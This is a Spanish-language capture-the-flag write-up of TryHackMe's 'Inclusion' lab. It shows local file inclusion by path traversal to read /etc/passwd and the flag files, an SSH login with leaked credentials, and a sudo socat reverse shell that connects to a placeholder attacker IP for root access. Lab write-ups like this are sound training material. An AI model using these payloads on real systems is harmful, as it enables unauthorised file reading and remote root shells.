Inclusion – TryHackMe

Inclusion – TryHackMe

Hoy vamos a realizar la máquina “Inclusion” de TryHackMe, en ella debemos hacer uso de la vulnerabilidad LFI para obtener las banderas, aunque vamos a obtenerlas de varias maneras.

Dificultad asignada por THM: Fácil

La ip de la máquina en mi caso será: 10.10.167.124

Esta sala se divide en 2 ficheros a conseguir:

Esta habitación se basa completamente en LFI, LFI son las siglas de Local File Inclusion o, en español, inclusión local de archivos. Una definición muy vaga de esta vulnerabilidad es que permite que un atacante pueda leer/incluir archivos en la aplicación.

En este caso resolveremos una sala muy sencillita sobre LFI, donde el objetivo es conseguir la bandera de root.txt y de user.txt, lo plantearemos de dos maneras posibles para conseguir la bandera, aunque no descarto que hayan muchas más, las posibilidades en estos casos son amplias, así que vamos.

 

user.txt:

Al arrancar la máquina haremos un escaneo rápido con nmap para poder ver en qué puerto está el servicio web en cuestión, debería estar en el 80, pero por confirmar, para ello:

nmap -sS -T4 (IP)

Y efectivamente están los puertos 22 (SSH) y 80 (HTTP)  abiertos:

Bueno, entrando a la página en cuestión se puede ver que es un blog bastante sencillo:

Probemos a entrar a un artículo:

Ahora fíjate en la forma que se solicita la página:

Y si, cambiamos eso por “../../../../../../” de manera que lleguemos al directorio raíz y de ahí irnos al fichero passwd ubicado en /etc. Si lo hacemos podremos leer dicho fichero:

Si te fijas podemos ver que hay un usuario llamado “falconfeast” y que al lado está un comentario que pone sus credenciales de inicio de sesión, así que podemos acceder por ssh y obtener la flag, pero eso lo haremos en la otra manera de conseguir el user.txt y root.txt, aquí vamos a conseguirla por LFI, así que ya sabemos que el usuario se llama “falconfeast” y que el user.txt se llama literalmente así, así que intentemos leerlo poniendo su ruta tal y como hicimos para el fichero passwd:

Bingo!


Bien, ahora hagámoslo de otra manera, ¿recuerdas las credenciales que hemos encontrado? Pues probemos usarlas para acceder por ssh:

Bien, tenemos acceso como el usuario “falconfeast”, si hacemos un ls veremos el fichero user.txt, ahora solo lo leeremos con cat y ya lo hemos conseguido:

Y ya está


Fíjate que hay un directorio llamado “articles” y dentro de él están los artículos del blog:

Así que sabiendo esto en el blog pudimos haber puesto solamente “../user.txt” para leer la bandera, pero es solo una observación :p :

root.txt:

Ahora que hemos conseguido el user.txt de esas dos maneras, probemos hacer lo mismo que en la primera forma que conseguimos el user.txt, por LFI, veamos si nos deja leer el fichero /root/root.txt:

Y nos deja.

De igual manera trataremos de obtener la bandera como en el caso anterior con user.txt, por medio de nuestra conexión por ssh, si hacemos un sudo -l podemos ver que el usuario con el que estamos tiene permisos de root para ejecutar socat:

Socat significa SOcket CAT. Es una utilidad que sirve para la transferencia de datos entre dos direcciones en pocas palabras. Investigando un poco he encontrado una sitio web que habla del tema y nos explica como escalar privilegios usando esta utilidad, este es, por supuesto GTOBins:

Partiendo de ello, ejecuta el siguiente comando en tu máquina atacante:

socat file:’tty’,raw,echo=0 tcp-listen:19191

Y luego, en la máquina victima ejecuta este comando:

sudo /usr/bin/socat tcp-connect:(IP_DE_TU_MÁQUINA_ATACANTE):19191 exec:sh,pty,stderr,setsid,sigint,sane

Al hacerlo obtendremos una shell como root y podremos leer el root.txt:

Y listo.

Opinión personal:

  • Difícultad de acceso 5% 5%
  • Difícultad de escalación de privilegios 6% 6%

He hecho esta puntuación en opinión personal, basándome en estos valores:

Fácil: 1% – 30%

Medio: 31% – 70%

Difícil: 71% – 100%

Anuncio

Sobre el Autor

Martin Frias

Founder of Coldd Security

REDES SOCIALES

Newsletter

Estadísticas

  • 106.294
  • 51

TheHackerSnow

0

Share This